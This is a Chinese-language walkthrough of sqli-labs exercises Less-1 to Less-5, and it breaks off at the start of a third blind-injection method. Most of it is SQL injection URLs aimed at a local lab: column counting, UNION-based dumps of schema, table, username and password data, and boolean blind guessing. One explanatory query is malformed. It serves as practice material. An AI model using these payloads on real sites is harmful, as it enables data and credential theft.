记录SQL注入的靶场练习
以Sqli-labs为例,下载链接https://github.com/Audi-1/sqli-labs
Less-1
输入参数?id=1
改变参数?id=2
发现网页进行改变,尝试注入,查询排列数
127.0.0.1/sqli-labs-master-Less-1/?id=1’order by 3 –+
页面无错误,继续尝试改变排列数
127.0.0.1/sqli-labs-master-Less-1/?id=1’order by 4 –+
说明字段有3个。再探测回显数据的位置
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,3–+
127.0.0.1/sqli-labs-master-Less-1/?id=’union select 1,group_concat(schema_name),3 from information_schema.schemata–+
爆出数据库, 发现第二行有数据。(3是凑数,总排列数为3)
尝试爆数据表
127.0.0.1/sqli-labs-master/Less-1/?id=’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+
这个靶场用的是security,直接引用这个数据库
尝试爆字段名
127.0.0.1/sqli-labs-master/Less-1/?id=’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’–+
尝试爆字段里的数据
127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,username,password from users where id=2–+
Less-2
127.0.0.1/sqli-labs-master/Less-2/?id=1’
说明开发者使用的查询是Select * from TABLE where id = (some integer value);
解决方法:改成?id=1,将’去掉
其余查询类型跟Less-1相似,只需将’去掉即可
Less-3
127.0.0.1/sqli-labs-master/Less-2/?id=’
说明开发者使用的查询是Select login_name, select password from table where id= (‘our input here’)
解决方法:将?id=’改成?id=’)–+
127.0.0.1/sqli-labs-master/Less-3/?id=%27)union select 1,group_concat(schema_name),3 from information_schema.schemata–+
也是成功获取了数据库信息
Less-4
127.0.0.1/sqli-labs-master/Less-4/?id=1”
说明这里它意味着,代码当中对 id 参数进行了 “” 和 () 的包装。
解决方法:将?id=1”改成?id=1”)–+
127.0.0.1/sqli-labs-master/Less-4/?id=”)union select 1,group_concat(schema_name),3 from%20information_schema.schemata–+
成功显示数据库
Less-5(SQL盲注)
第五关输入参数之后页面没有回显出数据内容,需要改变思路。
这里引入一个新的方法,SQL盲注。
方法一
left()函数猜数据,如
left(version(),1)=5,意思是截断数据库版本第一位数,与5匹配,若该数等于5则返回正常页面,不然就不返回。
127.0.0.1/sqli-labs-master/Less-5/?id=1’and left(version(),1)=5–+
可以发现该数据库的版本是5.x.x。
然后猜数据库的长度
127.0.0.1/sqli-labs-master/Less-5/?id=1’and length(database())=8–+
重复改变数据库长度测试,最终发现该数据库的长度为8。
接下来猜测数据库的名字
127.0.0.1/sqli-labs-master/Less-5/?id=1’and left(database(),1)>’a’–+
‘a’为ASCII码,查询数据库的第一位ASCII是否大于a,已知该数据库是security,s大于a,返回正确页面。
因为s不大于s,所以不返回。
用上面方法一直循环测试。
方法二
使用ascii(substr(select table_name information.schema.tables where tables_schema=database() limit 0,1),1,1))=101
101为ASCII码
代入查询为
127.0.0.1/sqli-labs-master/Less-5/?id=1’and ascii(substr((select table_name from information_schema.tables%20where table_schema=database() limit 0,1),1,1))>100–+
已知这个数据库的第一个表为emails,所以e为101>100,故返回正常页面。
若获取表的第二个字符,则将substr(,1,1)中改为(,2,1)代表从第二个字符获取一个字符长度的字符匹配。
如果需要获取第二个数据库表名,就将(limit 0,1)改为(limit 1,1)代表检索第二行中一条数据,以此类推。
方法三